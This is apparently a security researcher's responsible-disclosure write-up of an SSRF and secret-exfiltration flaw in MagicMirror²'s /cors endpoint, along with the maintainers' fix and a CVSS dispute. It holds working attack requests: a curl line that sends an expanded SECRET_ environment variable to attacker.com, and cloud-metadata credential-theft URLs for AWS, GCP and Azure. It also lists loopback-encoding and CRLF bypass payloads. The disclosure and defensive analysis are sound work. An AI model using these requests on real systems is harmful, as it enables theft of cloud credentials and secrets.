I have a Raspberry Pi collection that has slowly taken on a life of its own. Each model has its own project, and I periodically end up on YouTube looking for new ideas. That’s how I came across MagicMirror²: an open-source smart mirror that uses a Raspberry Pi to project a series of interactive dashboards, news, weather, calendar, and public transport schedules onto a two-way mirror monitor. The end result looks great, and the project has an active community of people building custom modules.

I took a quick spin through Shodan, and among the publicly reachable instances I found one that was displaying a real-time map with the GPS positions of a fleet of agricultural machinery. Someone had taken MagicMirror, exposed it on a public server, and was using it as a frontend for fleet tracking. Not exactly the use case the devs had in mind when they designed a smart bathroom mirror.

That kind of deployment piqued my interest enough to open up the source.

What is MagicMirror²?

MagicMirror² is an open-source platform for building smart mirrors. A Node.js server serves a single-page application that updates in real time over Socket.IO. Content is organized into modules, each with a node_helper.js running server-side and a frontend running in the Electron browser or in the user’s browser. The built-in modules cover weather, news, calendar, and clock; community modules add anything else you can imagine.

The project today has over 23,500 stars on GitHub, more than 50 published releases, and over 340 contributors. It’s not a giant project, but it’s not niche either: it’s one of the most active repositories in the Raspberry Pi ecosystem, with a user base ranging from homelabbers and makers to, evidently, agricultural operators.

Most installations run on a LAN, connected to a two-way mirror monitor. A minority are exposed online, sometimes deliberately to access the dashboard remotely, sometimes by mistake. Either way, the attack surface matters.

Code review

I cloned the repository and started where I always start: understanding the structure before reading individual files. An Express server, Socket.IO, a module loader, and a handful of HTTP endpoints. The endpoint map is the first place to look for attack surface in a Node.js application, and one in particular caught my eye immediately.

js/server.js, line 102:

app.get("/cors", serverFunctions.cors);

An endpoint called /cors. No authentication middleware before serverFunctions.cors. Reachable from any host that can connect to port 8080. I opened js/server_functions.js.

Flaw 1: open HTTP proxy with no URL validation

The cors() function lives at lines 40-128. The logic is conceptually simple: it takes a url parameter from the query string and fetches it server-side, returning the response to the caller. It exists to avoid CORS errors when modules need to pull data from external APIs.

The problem is that there is no validation whatsoever on the URL provided:

async function cors(req, res) {
    const urlRegEx = "url=(.+?)$";
    const match = new RegExp(urlRegEx, "g").exec(req.url);
    // ...
    url = match[1];
    // ... no validation, no blocklist ...
    const response = await fetch(url);
    // response returned to the caller
}

The server fetch()es any URL it’s given and returns the response body. No check on the destination host. No reserved-IP blocklist. No scheme restriction. No check on the request origin. An external attacker can point the endpoint at any host the server can reach: localhost, the internal network, cloud metadata services.

curl "http://target:8080/cors?url=http://169.254.169.254/latest/meta-data/"

On an AWS instance without IMDSv2 enforcement, that single request returns the index of the EC2 instance metadata. From there, an attacker can enumerate temporary IAM credentials, the identity document, security groups, and the user-data script.

Flaw 2: environment variable expansion in the URL

While reading through cors(), I noticed something happening before the fetch():

url = match[1];
if (typeof global.config !== "undefined") {
    if (config.hideConfigSecrets) {
        url = replaceSecretPlaceholder(url);
    }
}

If hideConfigSecrets is enabled in the configuration, the server expands **VARIABLE_NAME** placeholders in the URL with the corresponding value from process.env. Lines 24-28:

function replaceSecretPlaceholder(input) {
    return input.replaceAll(/\*\*(SECRET_[^*]+)\*\*/g, (match, group) => {
        return process.env[group];
    });
}

The feature exists for a legitimate reason: it lets modules use **SECRET_OPENWEATHER_KEY** in their config URLs instead of putting the key in cleartext in config.js. The server expands the placeholder before making the request, so the secret never appears in the configuration file.

The problem is that the expansion happens on an attacker-controlled URL. With cors: "allowAll" and hideConfigSecrets: true, any process.env value whose name starts with SECRET_ is exfiltrated with a single request:

curl "http://target:8080/cors?url=https://attacker.com/?k=**SECRET_API_KEY**"

The server expands **SECRET_API_KEY** with the real value of process.env.SECRET_API_KEY and calls fetch("https://attacker.com/?k=sk-live-actualvalue"). The secret lands in the attacker’s server logs as a query parameter. No filesystem access, no RCE required: the endpoint hands it over directly.

The most interesting detail is the semantics of this combination. hideConfigSecrets is a security feature: the very name suggests it protects secrets. An operator who enables it is actively trying to harden their deployment. But combined with cors: "allowAll", it produces exactly the opposite effect: it creates an endpoint that expands and forwards secrets to anyone who sends the right request.

Real-world impact

Cloud metadata

The /cors endpoint is a fully functional SSRF proxy into the metadata services of every major cloud provider. Each provider exposes temporary credentials over a link-local address that is not externally routable, but is reachable from any process running on the instance.

AWS, without IMDSv2:

GET /cors?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

The response contains AccessKeyId, SecretAccessKey, and Token: temporary IAM credentials valid for hours, usable for any operation the instance role permits.

GCP:

GET /cors?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
       sendheaders=Metadata-Flavor:Google

A live OAuth2 token for the instance’s service account.

Azure:

GET /cors?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
       sendheaders=Metadata:true

A Managed Identity token for Azure Resource Manager.

The endpoint also supports arbitrary header injection via the sendheaders parameter, which is exactly what GCP and Azure require to authenticate requests to their metadata services.

Internal recon

Outside of cloud environments, /cors works as an internal-network port scanner. The difference between an open and a closed port is observable from the response: a valid body indicates an open port, a connection error indicates a closed or filtered port. With a bit of automation it is possible to enumerate internal hosts and services completely unauthenticated from outside.

Environment variable exfiltration

As described above, with hideConfigSecrets: true, any environment variable prefixed with SECRET_ can be exfiltrated by pointing the URL at an attacker-controlled server. The post-fix URL validation does not help here, because the destination server is publicly reachable: it passes all the private-IP checks and carries the expanded secret in the path or query string.

The PoC

The full proof of concept is available in the CVE-2026-42281 repository. It’s a single Python script (poc.py) with no external dependencies.

The tool supports five attack modes: vulnerability verification, application config exfiltration (with automatic API key and token discovery), metadata-service probing across more than ten cloud providers (AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix), internal-network port scanning via SSRF, and using the server as an open proxy for arbitrary URLs.

Responsible disclosure

I opened a public issue on GitHub on March 30, 2026, with no technical details, and sent the maintainer an email the same day with the complete description of the vulnerability. The reply came on March 31: the maintainer took ownership of the report.

A small detail I noticed: in his first email reply, the maintainer didn’t quote my previous message in the response, the way people normally do. I’m not sure whether it was caution about not letting technical details circulate in additional threads, or just habit. Either way, the signal was positive: he was treating the report with the right amount of attention.

On April 1 the maintainers added SECURITY.md to the repository and enabled GitHub Security Advisories. I opened the formal advisory on April 9. On April 26 the maintainer confirmed the fix would ship in the next release, and GitHub assigned CVE-2026-42281.

The release was originally expected no earlier than July 1, 2026, but the maintainers decided to bring it forward: MagicMirror² v2.36.0 was released on April 30, 2026, unblocking the publication of this article.

The CVSS dispute

The maintainers had assigned a Moderate rating with this CVSS v4 vector:

AV:A / AC:L / AT:N / PR:N / UI:N / VC:L / VI:N / VA:N / SC:H / SI:N / SA:N

Two metrics were wrong.

Attack Vector: Adjacent instead of Network. The CVSS v4 specification defines AV:A for attacks limited to the same physical, logical, or administrative stack (same subnet, same WiFi, same VPN). The /cors endpoint is an HTTP service that by default binds to 0.0.0.0 with no authentication. There is no protocol-level constraint that limits the attacker to the adjacent network. The argument that MagicMirror is typically deployed on a LAN describes a deployment pattern, not a property of the vulnerability: CVSS measures the flaw, not the most common usage. The updated documentation (“don’t expose MagicMirror directly to the internet, use a reverse proxy”) is mitigation advice, not a technical control the code enforces.

Vulnerable System Confidentiality: Low instead of High. VC:H in the v4 specification corresponds to “total loss of confidentiality, resulting in all resources within the Vulnerable System being divulged to the attacker”. The attacker fully controls the URL and receives the complete response body. This allows arbitrary reading of: process environment variables (process.env via placeholder expansion), cloud-instance IAM credentials (which belong to the Vulnerable System, not to a downstream system), and any HTTP resource reachable from the server. It is not “limited loss” with non-controllable targets: it is complete, selective, attacker-driven disclosure.

I made the case with concrete evidence, not hypothetical scenarios: screenshots of the PoC output against a test instance, the curl returning the exfiltrated secret, the AWS metadata response body. The maintainers updated the vector to the proposed one:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Final score: 9.2 Critical.

It’s a dynamic I run into often, both in security research and in my day-to-day work as a penetration tester. Developers naturally tend to downplay impact, to think in terms of “but who would actually do this?” instead of “what is technically possible?”. The right answer in these cases isn’t theoretical argumentation, but direct evidence: a command that runs, an output that speaks for itself.

The fix

The develop branch received six PRs between April 3 and April 12 that address the vulnerability in a layered way.

PR #4087 introduces the configuration mechanism: three operating modes for the /cors endpoint, with disabled as the default.

cors: "disabled",        // default, endpoint unavailable
cors: "allowAll",        // open proxy to any public destination
cors: "allowWhitelist",  // proxy limited to domains in corsDomainWhitelist

This is the most important change in terms of impact on the user base. In new installations or in installations that don’t explicitly modify the configuration, the endpoint returns 403. The attack surface is reduced to zero by default.

PR #4084 adds three layers of validation before the fetch(). First, a protocol whitelist: only http: and https: are accepted (file://, gopher://, data: are rejected with 403). Second, an explicit case-insensitive block on the localhost hostname before DNS resolution even happens, because certain /etc/hosts configurations or custom resolvers could resolve it to an IP other than 127.0.0.1. Third, the actual check on the resolved IP, using ipaddr.js:

const { address, family } = await dns.promises.lookup(parsed.hostname);
if (ipaddr.process(address).range() !== "unicast") {
    return res.status(403).json({ error: "Forbidden: private or reserved addresses are not allowed" });
}

The range() !== "unicast" test is an inverted whitelist that’s much more robust than an explicit blocklist: in a single check it blocks loopback, RFC 1918, link-local (the 169.254.0.0/16 range where every metadata service lives), CGN, broadcast, multicast, IPv4-mapped IPv6, ULA, and any other range that isn’t globally routable. ipaddr.process() also normalizes alternate representations (127.1, 2130706433, 0177.0.0.1, 0x7f000001) before the check, closing the classic encoding-based bypasses.

PR #4090 closes a TOCTOU window that PR #4084 left open. The problem is subtle: fetch() resolves DNS itself at connection time. If the attacker controls a domain with TTL zero that alternates between a public and a private IP (DNS rebinding), it can pass validation with the public IP and then have fetch() connect to the private IP on a second resolution. The fix resolves DNS once, validates the resulting IP, and passes it to undici.Agent as a forced lookup:

const dispatcher = new undici.Agent({
    connect: {
        lookup: (_h, _o, cb) => {
            cb(null, [{ address, family }]);
        }
    }
});
const response = await undici.fetch(url, { dispatcher, headers: headersToSend });

undici receives an agent whose custom lookup completely ignores the requested hostname and always returns the validated IP. Zero race-condition windows, and as a side effect HTTP redirects to private IPs are also neutralized: if the public host’s response contains Location: http://127.0.0.1/, undici follows the redirect but the pinned lookup still sends the connection to the original IP.

PRs #4102 and #4104 close the environment variable exfiltration vector. replaceSecretPlaceholder now checks the CORS mode before expanding placeholders:

function replaceSecretPlaceholder(input) {
    if (global.config.cors !== "allowAll") {
        return input.replaceAll(/\*\*(SECRET_[^*]+)\*\*/g, (_, group) => process.env[group]);
    } else {
        if (input.includes("**SECRET_")) {
            Log.error("Replacing secrets doesn't work with CORS `allowAll`...");
        }
        return input;
    }
}

With cors: "allowAll" expansion is disabled and the server logs an explicit error. Expansion remains functional only with cors: "disabled" (endpoint inaccessible from outside) and cors: "allowWhitelist" (destination controlled by the operator).

The fix ships in MagicMirror² v2.36.0.

Verifying the fix

After the release I cloned the v2.36.0 tag and re-ran every PoC vector against the patched instance. All blocked:

CategoryAttemptsResult
Cloud metadata169.254.169.254, metadata.google.internal403
Loopback (numeric/octal/hex/decimal)127.0.0.1, 127.1, 2130706433, 0177.0.0.1, 0x7f.0x0.0x0.0x1, 0, 0.0.0.0403 (WHATWG URL normalizes everything to 127.0.0.1)
RFC 1918 and CGN10/8, 172.16/12, 192.168/16, 100.64/10403
IPv6 loopback / ULA / link-local / mapped[::1], [::ffff:127.0.0.1], [fc00::1], [fe80::1], [::]403
localhost (variants)upper, mixed, trailing dot, subdomain403
Alternate protocolsfile://, gopher://, ftp://, data:403
HTTP redirect to a private IPhttpbin/redirect-to?url=http://127.0.0.1/blocked by the pinned lookup
Header injection (CRLF)value\r\nX-Injected:evil in sendheadersrejected by the header validator
Env-var leak with cors: "allowAll"?x=**SECRET_API_KEY**placeholder returned literally, error logged on the server

A note on trade-offs: **SECRET_* placeholder substitution is still active in cors: "allowWhitelist" mode, because that’s exactly where it’s needed for legitimate integrations (e.g., API keys for weather services). It means that secrets are sent to the destinations in corsDomainWhitelist: operators using this mode have to trust the whitelisted domains and avoid including services that log full URLs (request bins, URL-based analytics, compromisable endpoints). It’s documented and reasonable behavior, but worth keeping in mind.

Lessons learned

For developers:

  • An HTTP proxy endpoint without destination validation is an SSRF waiting to be found. It’s not enough to document that “the software shouldn’t be exposed on the internet”: the code has to enforce its own controls regardless of the deployment. The right fix is cors: "disabled" by default, which is exactly what the maintainers implemented.

  • Security features can become attack vectors if they’re not designed with their interactions with other components in mind. hideConfigSecrets is a sound feature. cors: "allowAll" is a legitimate mode. Their combination creates an exfiltration primitive. Security testing has to cover feature interactions, not just each feature in isolation.

  • DNS rebinding isn’t an exotic attack in 2026. If your code resolves a domain name and then uses it in a security context (validation, resource access), resolve once, validate, and pin the result. Otherwise your validation is bypassable.

For security reviewers:

  • Endpoints whose names describe their functionality (/cors, /proxy, /fetch) are almost always the first place to look. Not because the developers are negligent, but because their intrinsic purpose is to make requests on behalf of the client: if that functionality isn’t properly bounded, you immediately have an SSRF primitive.

  • In an application that uses environment variables for secrets, look for where those variables are expanded and whether that expansion point is reachable with externally controlled input. The replaceSecretPlaceholder feature wasn’t documented as attack surface: it was an internal utility that, under a particular configuration combination, became an exfiltration primitive.

  • When you challenge a CVSS score, the difference between “potentially” and “demonstrated” is decisive. The maintainers updated the rating not because I convinced them with theoretical arguments, but because the curl in the PoC returned exactly what the report described. Concrete evidence ends every discussion, but it has to be argued well.

References